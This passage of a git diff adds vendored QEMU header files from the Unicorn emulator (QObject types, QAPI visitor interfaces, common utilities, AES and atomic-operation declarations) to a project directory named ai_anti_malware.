ERROR_CLASS_GENERIC_ERROR, "this feature or command is not currently supported" + +#endif /* QERROR_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qfloat.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qfloat.h new file mode 100644 index 0000000..b068ed3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qfloat.h @@ -0,0 +1,29 @@ +/* + * QFloat Module + * + * Copyright IBM, Corp. 2009 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef QFLOAT_H +#define QFLOAT_H + +#include "unicorn/platform.h" +#include "qapi/qmp/qobject.h" + +typedef struct QFloat { + QObject_HEAD; + double value; +} QFloat; + +QFloat *qfloat_from_double(double value); +double qfloat_get_double(const QFloat *qi); +QFloat *qobject_to_qfloat(const QObject *obj); + +#endif /* QFLOAT_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qint.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qint.h new file mode 100644 index 0000000..0150b7e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qint.h @@ -0,0 +1,28 @@ +/* + * QInt Module + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino <lcapitulino@redhat.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#ifndef QINT_H +#define QINT_H + +#include "unicorn/platform.h" +#include "qapi/qmp/qobject.h" + +typedef struct QInt { + QObject_HEAD; + int64_t value; +} QInt; + +QInt *qint_from_int(int64_t value); +int64_t qint_get_int(const QInt *qi); +QInt *qobject_to_qint(const QObject *obj); + +#endif /* QINT_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qjson.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qjson.h new file mode 100644 index 0000000..ee4d31a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qjson.h @@ -0,0 +1,29 @@ +/* + * QObject JSON integration + * + * Copyright IBM, Corp. 2009 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef QJSON_H +#define QJSON_H + +#include <stdarg.h> +#include "qemu/compiler.h" +#include "qapi/qmp/qobject.h" +#include "qapi/qmp/qstring.h" + +QObject *qobject_from_json(const char *string); +QObject *qobject_from_jsonf(const char *string, ...) GCC_FMT_ATTR(1, 2); +QObject *qobject_from_jsonv(const char *string, va_list *ap) GCC_FMT_ATTR(1, 0); + +QString *qobject_to_json(const QObject *obj); +QString *qobject_to_json_pretty(const QObject *obj); + +#endif /* QJSON_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qlist.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qlist.h new file mode 100644 index 0000000..6cc4831 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qlist.h @@ -0,0 +1,63 @@ +/* + * QList Module + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino <lcapitulino@redhat.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#ifndef QLIST_H +#define QLIST_H + +#include "qapi/qmp/qobject.h" +#include "qemu/queue.h" + +typedef struct QListEntry { + QObject *value; + QTAILQ_ENTRY(QListEntry) next; +} QListEntry; + +typedef struct QList { + QObject_HEAD; + QTAILQ_HEAD(,QListEntry) head; +} QList; + +#define qlist_append(qlist, obj) \ + qlist_append_obj(qlist, QOBJECT(obj)) + +#define QLIST_FOREACH_ENTRY(qlist, var) \ + for ((var) = ((qlist)->head.tqh_first); \ + (var); \ + (var) = ((var)->next.tqe_next)) + +static inline QObject *qlist_entry_obj(const QListEntry *entry) +{ + return entry->value; +} + +QList *qlist_new(void); +QList *qlist_copy(QList *src); +void qlist_append_obj(QList *qlist, QObject *obj); +void qlist_iter(const QList *qlist, + void (*iter)(QObject *obj, void *opaque), void *opaque); +QObject *qlist_pop(QList *qlist); +QObject *qlist_peek(QList *qlist); +int qlist_empty(const QList *qlist); +size_t qlist_size(const QList *qlist); +QList *qobject_to_qlist(const QObject *obj); + +static inline const QListEntry *qlist_first(const QList *qlist) +{ + return QTAILQ_FIRST(&qlist->head); +} + +static inline const QListEntry *qlist_next(const QListEntry *entry) +{ + return QTAILQ_NEXT(entry, next); +} + +#endif /* QLIST_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qobject.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qobject.h new file mode 100644 index 0000000..d0bbc7c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qobject.h @@ -0,0 +1,113 @@ +/* + * QEMU Object Model. + * + * Based on ideas by Avi Kivity <avi@redhat.com> + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino <lcapitulino@redhat.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + * QObject Reference Counts Terminology + * ------------------------------------ + * + * - Returning references: A function that returns an object may + * return it as either a weak or a strong reference. If the reference + * is strong, you are responsible for calling QDECREF() on the reference + * when you are done. + * + * If the reference is weak, the owner of the reference may free it at + * any time in the future. Before storing the reference anywhere, you + * should call QINCREF() to make the reference strong. + * + * - Transferring ownership: when you transfer ownership of a reference + * by calling a function, you are no longer responsible for calling + * QDECREF() when the reference is no longer needed. In other words, + * when the function returns you must behave as if the reference to the + * passed object was weak. + */ +#ifndef QOBJECT_H +#define QOBJECT_H + +#include <stddef.h> +#include <assert.h> + +typedef enum { + QTYPE_NONE, + QTYPE_QINT, + QTYPE_QSTRING, + QTYPE_QDICT, + QTYPE_QLIST, + QTYPE_QFLOAT, + QTYPE_QBOOL, + QTYPE_QERROR, + QTYPE_MAX, +} qtype_code; + +struct QObject; + +typedef struct QType { + qtype_code code; + void (*destroy)(struct QObject *); +} QType; + +typedef struct QObject { + const QType *type; + size_t refcnt; +} QObject; + +/* Objects definitions must include this */ +#define QObject_HEAD \ + QObject base + +/* Get the 'base' part of an object */ +#define QOBJECT(obj) (&(obj)->base) + +/* High-level interface for qobject_incref() */ +#define QINCREF(obj) \ + qobject_incref(QOBJECT(obj)) + +/* High-level interface for qobject_decref() */ +#define QDECREF(obj) \ + qobject_decref(obj ? QOBJECT(obj) : NULL) + +/* Initialize an object to default values */ +#define QOBJECT_INIT(obj, qtype_type) \ + obj->base.refcnt = 1; \ + obj->base.type = qtype_type + +/** + * qobject_incref(): Increment QObject's reference count + */ +static inline void qobject_incref(QObject *obj) +{ + if (obj) + obj->refcnt++; +} + +/** + * qobject_decref(): Decrement QObject's reference count, deallocate + * when it reaches zero + */ +static inline void qobject_decref(QObject *obj) +{ + if (obj && --obj->refcnt == 0) { + assert(obj->type != NULL); + assert(obj->type->destroy != NULL); + obj->type->destroy(obj); + } +} + +/** + * qobject_type(): Return the QObject's type + */ +static inline qtype_code qobject_type(const QObject *obj) +{ + assert(obj->type != NULL); + return obj->type->code; +} + +#endif /* QOBJECT_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qstring.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qstring.h new file mode 100644 index 0000000..734e912 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/qstring.h @@ -0,0 +1,36 @@ +/* + * QString Module + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino <lcapitulino@redhat.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#ifndef QSTRING_H +#define QSTRING_H + +#include "unicorn/platform.h" +#include "qapi/qmp/qobject.h" + +typedef struct QString { + QObject_HEAD; + char *string; + size_t length; + size_t capacity; +} QString; + +QString *qstring_new(void); +QString *qstring_from_str(const char *str); +QString *qstring_from_substr(const char *str, int start, int end); +size_t qstring_get_length(const QString *qstring); +const char *qstring_get_str(const QString *qstring); +void qstring_append_int(QString *qstring, int64_t value); +void qstring_append(QString *qstring, const char *str); +void qstring_append_chr(QString *qstring, int c); +QString *qobject_to_qstring(const QObject *obj); + +#endif /* QSTRING_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/types.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/types.h new file mode 100644 index 0000000..7782ec5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/qmp/types.h @@ -0,0 +1,25 @@ +/* + * Include all QEMU objects. + * + * Copyright (C) 2009 Red Hat Inc. + * + * Authors: + * Luiz Capitulino <lcapitulino@redhat.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#ifndef QEMU_OBJECTS_H +#define QEMU_OBJECTS_H + +#include "qapi/qmp/qobject.h" +#include "qapi/qmp/qint.h" +#include "qapi/qmp/qfloat.h" +#include "qapi/qmp/qbool.h" +#include "qapi/qmp/qstring.h" +#include "qapi/qmp/qdict.h" +#include "qapi/qmp/qlist.h" +#include "qapi/qmp/qjson.h" + +#endif /* QEMU_OBJECTS_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/string-input-visitor.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/string-input-visitor.h new file mode 100644 index 0000000..089243c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/string-input-visitor.h @@ -0,0 +1,25 @@ +/* + * String parsing Visitor + * + * Copyright Red Hat, Inc. 2012 + * + * Author: Paolo Bonzini <pbonzini@redhat.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef STRING_INPUT_VISITOR_H +#define STRING_INPUT_VISITOR_H + +#include "qapi/visitor.h" + +typedef struct StringInputVisitor StringInputVisitor; + +StringInputVisitor *string_input_visitor_new(const char *str); +void string_input_visitor_cleanup(StringInputVisitor *v); + +Visitor *string_input_get_visitor(StringInputVisitor *v); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/visitor-impl.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/visitor-impl.h new file mode 100644 index 0000000..09bb0fd --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/visitor-impl.h @@ -0,0 +1,67 @@ +/* + * Core Definitions for QAPI Visitor implementations + * + * Copyright (C) 2012 Red Hat, Inc. + * + * Author: Paolo Bonizni <pbonzini@redhat.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ +#ifndef QAPI_VISITOR_IMPL_H +#define QAPI_VISITOR_IMPL_H + +#include "qapi/error.h" +#include "qapi/visitor.h" + +struct Visitor +{ + /* Must be set */ + void (*start_struct)(Visitor *v, void **obj, const char *kind, + const char *name, size_t size, Error **errp); + void (*end_struct)(Visitor *v, Error **errp); + + void (*start_implicit_struct)(Visitor *v, void **obj, size_t size, + Error **errp); + void (*end_implicit_struct)(Visitor *v, Error **errp); + + void (*start_list)(Visitor *v, const char *name, Error **errp); + GenericList *(*next_list)(Visitor *v, GenericList **list, Error **errp); + void (*end_list)(Visitor *v, Error **errp); + + void (*type_enum)(Visitor *v, int *obj, const char *strings[], + const char *kind, const char *name, Error **errp); + void (*get_next_type)(Visitor *v, int *kind, const int *qobjects, + const char *name, Error **errp); + + void (*type_int)(Visitor *v, int64_t *obj, const char *name, Error **errp); + void (*type_bool)(Visitor *v, bool *obj, const char *name, Error **errp); + void (*type_str)(Visitor *v, char **obj, const char *name, Error **errp); + void (*type_number)(Visitor *v, double *obj, const char *name, + Error **errp); + + /* May be NULL */ + void (*optional)(Visitor *v, bool *present, const char *name, + Error **errp); + + void (*type_uint8)(Visitor *v, uint8_t *obj, const char *name, Error **errp); + void (*type_uint16)(Visitor *v, uint16_t *obj, const char *name, Error **errp); + void (*type_uint32)(Visitor *v, uint32_t *obj, const char *name, Error **errp); + void (*type_uint64)(Visitor *v, uint64_t *obj, const char *name, Error **errp); + void (*type_int8)(Visitor *v, int8_t *obj, const char *name, Error **errp); + void (*type_int16)(Visitor *v, int16_t *obj, const char *name, Error **errp); + void (*type_int32)(Visitor *v, int32_t *obj, const char *name, Error **errp); + void (*type_int64)(Visitor *v, int64_t *obj, const char *name, Error **errp); + /* visit_type_size() falls back to (*type_uint64)() if type_size is unset */ + void (*type_size)(Visitor *v, uint64_t *obj, const char *name, Error **errp); + bool (*start_union)(Visitor *v, bool data_present, Error **errp); + void (*end_union)(Visitor *v, bool data_present, Error **errp); +}; + +void input_type_enum(Visitor *v, int *obj, const char *strings[], + const char *kind, const char *name, Error **errp); +void output_type_enum(Visitor *v, int *obj, const char *strings[], + const char *kind, const char *name, Error **errp); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/visitor.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/visitor.h new file mode 100644 index 0000000..5934f59 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qapi/visitor.h @@ -0,0 +1,64 @@ +/* + * Core Definitions for QAPI Visitor Classes + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ +#ifndef QAPI_VISITOR_CORE_H +#define QAPI_VISITOR_CORE_H + +#include "qemu/typedefs.h" +#include "qapi/qmp/qobject.h" +#include "qapi/error.h" +#include <stdlib.h> + +typedef struct GenericList +{ + union { + void *value; + uint64_t padding; + }; + struct GenericList *next; +} GenericList; + +void visit_start_handle(Visitor *v, void **obj, const char *kind, + const char *name, Error **errp); +void visit_end_handle(Visitor *v, Error **errp); +void visit_start_struct(Visitor *v, void **obj, const char *kind, + const char *name, size_t size, Error **errp); +void visit_end_struct(Visitor *v, Error **errp); +void visit_start_implicit_struct(Visitor *v, void **obj, size_t size, + Error **errp); +void visit_end_implicit_struct(Visitor *v, Error **errp); +void visit_start_list(Visitor *v, const char *name, Error **errp); +GenericList *visit_next_list(Visitor *v, GenericList **list, Error **errp); +void visit_end_list(Visitor *v, Error **errp); +void visit_optional(Visitor *v, bool *present, const char *name, + Error **errp); +void visit_get_next_type(Visitor *v, int *obj, const int *qtypes, + const char *name, Error **errp); +void visit_type_enum(Visitor *v, int *obj, const char *strings[], + const char *kind, const char *name, Error **errp); +void visit_type_int(Visitor *v, int64_t *obj, const char *name, Error **errp); +void visit_type_uint8(Visitor *v, uint8_t *obj, const char *name, Error **errp); +void visit_type_uint16(Visitor *v, uint16_t *obj, const char *name, Error **errp); +void visit_type_uint32(Visitor *v, uint32_t *obj, const char *name, Error **errp); +void visit_type_uint64(Visitor *v, uint64_t *obj, const char *name, Error **errp); +void visit_type_int8(Visitor *v, int8_t *obj, const char *name, Error **errp); +void visit_type_int16(Visitor *v, int16_t *obj, const char *name, Error **errp); +void visit_type_int32(Visitor *v, int32_t *obj, const char *name, Error **errp); +void visit_type_int64(Visitor *v, int64_t *obj, const char *name, Error **errp); +void visit_type_size(Visitor *v, uint64_t *obj, const char *name, Error **errp); +void visit_type_bool(Visitor *v, bool *obj, const char *name, Error **errp); +void visit_type_str(Visitor *v, char **obj, const char *name, Error **errp); +void visit_type_number(Visitor *v, double *obj, const char *name, Error **errp); +bool visit_start_union(Visitor *v, bool data_present, Error **errp); +void visit_end_union(Visitor *v, bool data_present, Error **errp); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu-common.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu-common.h new file mode 100644 index 0000000..d2097db --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu-common.h @@ -0,0 +1,252 @@ + +/* Common header file that is included by all of QEMU. + * + * This file is supposed to be included only by .c files. No header file should + * depend on qemu-common.h, as this would easily lead to circular header + * dependencies. + * + * If a header file uses a definition from qemu-common.h, that definition + * must be moved to a separate header file, and the header that uses it + * must include that header. + */ +#ifndef QEMU_COMMON_H +#define QEMU_COMMON_H + +#include "qemu/compiler.h" +#include "config-host.h" +#include "qemu/typedefs.h" +#include "exec/cpu-common.h" + +#if defined(__arm__) || defined(__sparc__) || defined(__mips__) || defined(__hppa__) || defined(__ia64__) +#define WORDS_ALIGNED +#endif + +#define TFR(expr) do { if ((expr) != -1) break; } while (errno == EINTR) + +/* we put basic includes here to avoid repeating them in device drivers */ +#include <stdlib.h> +#include <stdio.h> +#include <stdarg.h> +#include "unicorn/platform.h" +#include <string.h> +#include <limits.h> +#include <time.h> +#include <ctype.h> +#include <errno.h> +#include <fcntl.h> +#include <sys/stat.h> +#include <assert.h> +#include "glib_compat.h" + +#ifdef _WIN32 +#include "sysemu/os-win32.h" +#endif + +#ifndef O_LARGEFILE +#define O_LARGEFILE 0 +#endif +#ifndef O_BINARY +#define O_BINARY 0 +#endif +#ifndef MAP_ANONYMOUS +#define MAP_ANONYMOUS MAP_ANON +#endif +#ifndef ENOMEDIUM +#define ENOMEDIUM ENODEV +#endif +#if !defined(ENOTSUP) +#define ENOTSUP 4096 +#endif +#if !defined(ECANCELED) +#define ECANCELED 4097 +#endif +#if !defined(EMEDIUMTYPE) +#define EMEDIUMTYPE 4098 +#endif +#ifndef TIME_MAX +#define TIME_MAX LONG_MAX +#endif + +/* HOST_LONG_BITS is the size of a native pointer in bits. */ +#if UINTPTR_MAX == UINT32_MAX +# define HOST_LONG_BITS 32 +#elif UINTPTR_MAX == UINT64_MAX +# define HOST_LONG_BITS 64 +#else +# error Unknown pointer size +#endif + +typedef int (*fprintf_function)(FILE *f, const char *fmt, ...) + GCC_FMT_ATTR(2, 3); + +#ifdef _WIN32 +#define fsync _commit +#if !defined(lseek) +# define lseek _lseeki64 +#endif +int qemu_ftruncate64(int, int64_t); +#if !defined(ftruncate) +# define ftruncate qemu_ftruncate64 +#endif +#endif + +#include "qemu/osdep.h" +#include "qemu/bswap.h" + +/* FIXME: Remove NEED_CPU_H. */ +#ifdef NEED_CPU_H +#include "cpu.h" +#endif /* !defined(NEED_CPU_H) */ + +/* cutils.c */ +void pstrcpy(char *buf, int buf_size, const char *str); +char *pstrcat(char *buf, int buf_size, const char *s); +int strstart(const char *str, const char *val, const char **ptr); +int qemu_fls(int i); + +/* + * strtosz() suffixes used to specify the default treatment of an + * argument passed to strtosz() without an explicit suffix. + * These should be defined using upper case characters in the range + * A-Z, as strtosz() will use qemu_toupper() on the given argument + * prior to comparison. + */ +#define STRTOSZ_DEFSUFFIX_EB 'E' +#define STRTOSZ_DEFSUFFIX_PB 'P' +#define STRTOSZ_DEFSUFFIX_TB 'T' +#define STRTOSZ_DEFSUFFIX_GB 'G' +#define STRTOSZ_DEFSUFFIX_MB 'M' +#define STRTOSZ_DEFSUFFIX_KB 'K' +#define STRTOSZ_DEFSUFFIX_B 'B' +int64_t strtosz(const char *nptr, char **end); +int64_t strtosz_suffix(const char *nptr, char **end, const char default_suffix); +int64_t strtosz_suffix_unit(const char *nptr, char **end, + const char default_suffix, int64_t unit); + +/* used to print char* safely */ +#define STR_OR_NULL(str) ((str) ? (str) : "null") + +#define qemu_isalnum(c) isalnum((unsigned char)(c)) +#define qemu_isalpha(c) isalpha((unsigned char)(c)) +#define qemu_iscntrl(c) iscntrl((unsigned char)(c)) +#define qemu_isdigit(c) isdigit((unsigned char)(c)) +#define qemu_isgraph(c) isgraph((unsigned char)(c)) +#define qemu_islower(c) islower((unsigned char)(c)) +#define qemu_isprint(c) isprint((unsigned char)(c)) +#define qemu_ispunct(c) ispunct((unsigned char)(c)) +#define qemu_isspace(c) isspace((unsigned char)(c)) +#define qemu_isupper(c) isupper((unsigned char)(c)) +#define qemu_isxdigit(c) isxdigit((unsigned char)(c)) +#define qemu_tolower(c) tolower((unsigned char)(c)) +#define qemu_toupper(c) toupper((unsigned char)(c)) +#define qemu_isascii(c) isascii((unsigned char)(c)) +#define qemu_toascii(c) toascii((unsigned char)(c)) + +void *qemu_oom_check(void *ptr); + +#ifdef _WIN32 +/* MinGW needs type casts for the 'buf' and 'optval' arguments. */ +#define qemu_getsockopt(sockfd, level, optname, optval, optlen) \ + getsockopt(sockfd, level, optname, (void *)optval, optlen) +#define qemu_setsockopt(sockfd, level, optname, optval, optlen) \ + setsockopt(sockfd, level, optname, (const void *)optval, optlen) +#define qemu_recv(sockfd, buf, len, flags) recv(sockfd, (void *)buf, len, flags) +#define qemu_sendto(sockfd, buf, len, flags, destaddr, addrlen) \ + sendto(sockfd, (const void *)buf, len, flags, destaddr, addrlen) +#else +#define qemu_getsockopt(sockfd, level, optname, optval, optlen) \ + getsockopt(sockfd, level, optname, optval, optlen) +#define qemu_setsockopt(sockfd, level, optname, optval, optlen) \ + setsockopt(sockfd, level, optname, optval, optlen) +#define qemu_recv(sockfd, buf, len, flags) recv(sockfd, buf, len, flags) +#define qemu_sendto(sockfd, buf, len, flags, destaddr, addrlen) \ + sendto(sockfd, buf, len, flags, destaddr, addrlen) +#endif + +/* Error handling. */ + +void tcg_exec_init(struct uc_struct *uc, unsigned long tb_size); +bool tcg_enabled(struct uc_struct *uc); + +struct uc_struct; +void cpu_exec_init_all(struct uc_struct *uc); + +/* compute with 96 bit intermediate result: (a*b)/c */ +static inline uint64_t muldiv64(uint64_t a, uint32_t b, uint32_t c) +{ + union { + uint64_t ll; + struct { +#ifdef HOST_WORDS_BIGENDIAN + uint32_t high, low; +#else + uint32_t low, high; +#endif + } l; + } u, res; + uint64_t rl, rh; + + u.ll = a; + rl = (uint64_t)u.l.low * (uint64_t)b; + rh = (uint64_t)u.l.high * (uint64_t)b; + rh += (rl >> 32); + res.l.high = (uint32_t)(rh / c); + res.l.low = (((rh % c) << 32) + (rl & 0xffffffff)) / c; + return res.ll; +} + +/* Round number down to multiple */ +#define QEMU_ALIGN_DOWN(n, m) ((n) / (m) * (m)) + +/* Round number up to multiple */ +#define QEMU_ALIGN_UP(n, m) QEMU_ALIGN_DOWN((n) + (m) - 1, (m)) + +#include "qemu/module.h" + +/* vector definitions */ +#ifdef __ALTIVEC__ +/* The altivec.h header says we're allowed to undef these for + * C++ compatibility. Here we don't care about C++, but we + * undef them anyway to avoid namespace pollution. + */ +#undef vector +#undef pixel +#undef bool +#include <altivec.h> +#define VECTYPE __vector unsigned char +#define SPLAT(p) vec_splat(vec_ld(0, p), 0) +#define ALL_EQ(v1, v2) vec_all_eq(v1, v2) +/* altivec.h may redefine the bool macro as vector type. + * Reset it to POSIX semantics. */ +#define bool _Bool +#elif defined __SSE2__ +#include <emmintrin.h> +#define VECTYPE __m128i +#define SPLAT(p) _mm_set1_epi8(*(p)) +#define ALL_EQ(v1, v2) (_mm_movemask_epi8(_mm_cmpeq_epi8(v1, v2)) == 0xFFFF) +#else +#define VECTYPE unsigned long +#define SPLAT(p) (*(p) * (~0UL / 255)) +#define ALL_EQ(v1, v2) ((v1) == (v2)) +#endif + +// support for calling functions before main code is executed. +#if defined(_MSC_VER) + #pragma section(".CRT$XCU",read) + #define INITIALIZER2_(f,p) \ + static void f(void); \ + __declspec(allocate(".CRT$XCU")) void (*f##_)(void) = f; \ + __pragma(comment(linker,"/include:" p #f "_")) \ + static void f(void) + #ifdef _WIN64 + #define INITIALIZER(f) INITIALIZER2_(f,"") + #else + #define INITIALIZER(f) INITIALIZER2_(f,"_") + #endif +#else + #define INITIALIZER(f) \ + static void f(void) __attribute__((constructor)); \ + static void f(void) +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/aes.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/aes.h new file mode 100644 index 0000000..63438ad --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/aes.h @@ -0,0 +1,68 @@ +#ifndef QEMU_AES_H +#define QEMU_AES_H + +#define AES_MAXNR 14 +#define AES_BLOCK_SIZE 16 + +struct aes_key_st { + uint32_t rd_key[4 *(AES_MAXNR + 1)]; + int rounds; +}; +typedef struct aes_key_st AES_KEY; + +/* FreeBSD has its own AES_set_decrypt_key in -lcrypto, avoid conflicts */ +#ifdef __FreeBSD__ +#define AES_set_encrypt_key QEMU_AES_set_encrypt_key +#define AES_set_decrypt_key QEMU_AES_set_decrypt_key +#define AES_encrypt QEMU_AES_encrypt +#define AES_decrypt QEMU_AES_decrypt +#define AES_cbc_encrypt QEMU_AES_cbc_encrypt +#endif + +int AES_set_encrypt_key(const unsigned char *userKey, const int bits, + AES_KEY *key); +int AES_set_decrypt_key(const unsigned char *userKey, const int bits, + AES_KEY *key); + +void AES_encrypt(const unsigned char *in, unsigned char *out, + const AES_KEY *key); +void AES_decrypt(const unsigned char *in, unsigned char *out, + const AES_KEY *key); +void AES_cbc_encrypt(const unsigned char *in, unsigned char *out, + const unsigned long length, const AES_KEY *key, + unsigned char *ivec, const int enc); + +extern const uint8_t AES_sbox[256]; +extern const uint8_t AES_isbox[256]; + +/* AES ShiftRows and InvShiftRows */ +extern const uint8_t AES_shifts[16]; +extern const uint8_t AES_ishifts[16]; + +/* AES InvMixColumns */ +/* AES_imc[x][0] = [x].[0e, 09, 0d, 0b]; */ +/* AES_imc[x][1] = [x].[0b, 0e, 09, 0d]; */ +/* AES_imc[x][2] = [x].[0d, 0b, 0e, 09]; */ +/* AES_imc[x][3] = [x].[09, 0d, 0b, 0e]; */ +extern const uint32_t AES_imc[256][4]; + +/* +AES_Te0[x] = S [x].[02, 01, 01, 03]; +AES_Te1[x] = S [x].[03, 02, 01, 01]; +AES_Te2[x] = S [x].[01, 03, 02, 01]; +AES_Te3[x] = S [x].[01, 01, 03, 02]; +AES_Te4[x] = S [x].[01, 01, 01, 01]; + +AES_Td0[x] = Si[x].[0e, 09, 0d, 0b]; +AES_Td1[x] = Si[x].[0b, 0e, 09, 0d]; +AES_Td2[x] = Si[x].[0d, 0b, 0e, 09]; +AES_Td3[x] = Si[x].[09, 0d, 0b, 0e]; +AES_Td4[x] = Si[x].[01, 01, 01, 01]; +*/ + +extern const uint32_t AES_Te0[256], AES_Te1[256], AES_Te2[256], + AES_Te3[256], AES_Te4[256]; +extern const uint32_t AES_Td0[256], AES_Td1[256], AES_Td2[256], + AES_Td3[256], AES_Td4[256]; + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/atomic.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/atomic.h new file mode 100644 index 0000000..79c10ef --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/atomic.h @@ -0,0 +1,234 @@ +/* + * Simple interface for atomic operations. + * + * Copyright (C) 2013 Red Hat, Inc. + * + * Author: Paolo Bonzini <pbonzini@redhat.com> + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + * + */ + +#ifndef __QEMU_ATOMIC_H +#define __QEMU_ATOMIC_H 1 + +#include "qemu/compiler.h" + +/* For C11 atomic ops */ + +/* Compiler barrier */ +#ifdef _MSC_VER +void _ReadWriteBarrier(void); +#pragma intrinsic(_ReadWriteBarrier) +#define barrier() do { _ReadWriteBarrier(); } while (0) +#else +#define barrier() ({ asm volatile("" ::: "memory"); (void)0; }) +#endif + +#ifndef __ATOMIC_RELAXED + +/* + * We use GCC builtin if it's available, as that can use mfence on + * 32-bit as well, e.g. if built with -march=pentium-m. However, on + * i386 the spec is buggy, and the implementation followed it until + * 4.3 (http://gcc.gnu.org/bugzilla/show_bug.cgi?id=36793). + */ +#if defined(__i386__) || defined(__x86_64__) +#if !QEMU_GNUC_PREREQ(4, 4) +#if defined __x86_64__ +# ifdef _MSC_VER +// TODO: fix me!!! +# define smp_mb() //{ __asm volatile("mfence" ::: "memory"); (void)0; } +# else +# define smp_mb() ({ asm volatile("mfence" ::: "memory"); (void)0; }) +# endif +#else +# ifdef _MSC_VER +// TODO: fix me!!! +# define smp_mb() //{ __asm volatile("lock; addl $0,0(%esp) " ::: "memory"); (void)0; } +# else +# define smp_mb() ({ asm volatile("lock; addl $0,0(%%esp) " ::: "memory"); (void)0; }) +# endif +#endif +#endif +#endif + + +#ifdef __alpha__ +#define smp_read_barrier_depends() asm volatile("mb":::"memory") +#endif + +#if defined(__i386__) || defined(__x86_64__) || defined(__s390x__) + +/* + * Because of the strongly ordered storage model, wmb() and rmb() are nops + * here (a compiler barrier only). QEMU doesn't do accesses to write-combining + * qemu memory or non-temporal load/stores from C code. + */ +#define smp_wmb() barrier() +#define smp_rmb() barrier() + +/* + * __sync_lock_test_and_set() is documented to be an acquire barrier only, + * but it is a full barrier at the hardware level. Add a compiler barrier + * to make it a full barrier also at the compiler level. + */ +#define atomic_xchg(ptr, i) (barrier(), __sync_lock_test_and_set(ptr, i)) + +/* + * Load/store with Java volatile semantics. + */ +#define atomic_mb_set(ptr, i) ((void)atomic_xchg(ptr, i)) + +#elif defined(_ARCH_PPC) + +/* + * We use an eieio() for wmb() on powerpc. This assumes we don't + * need to order cacheable and 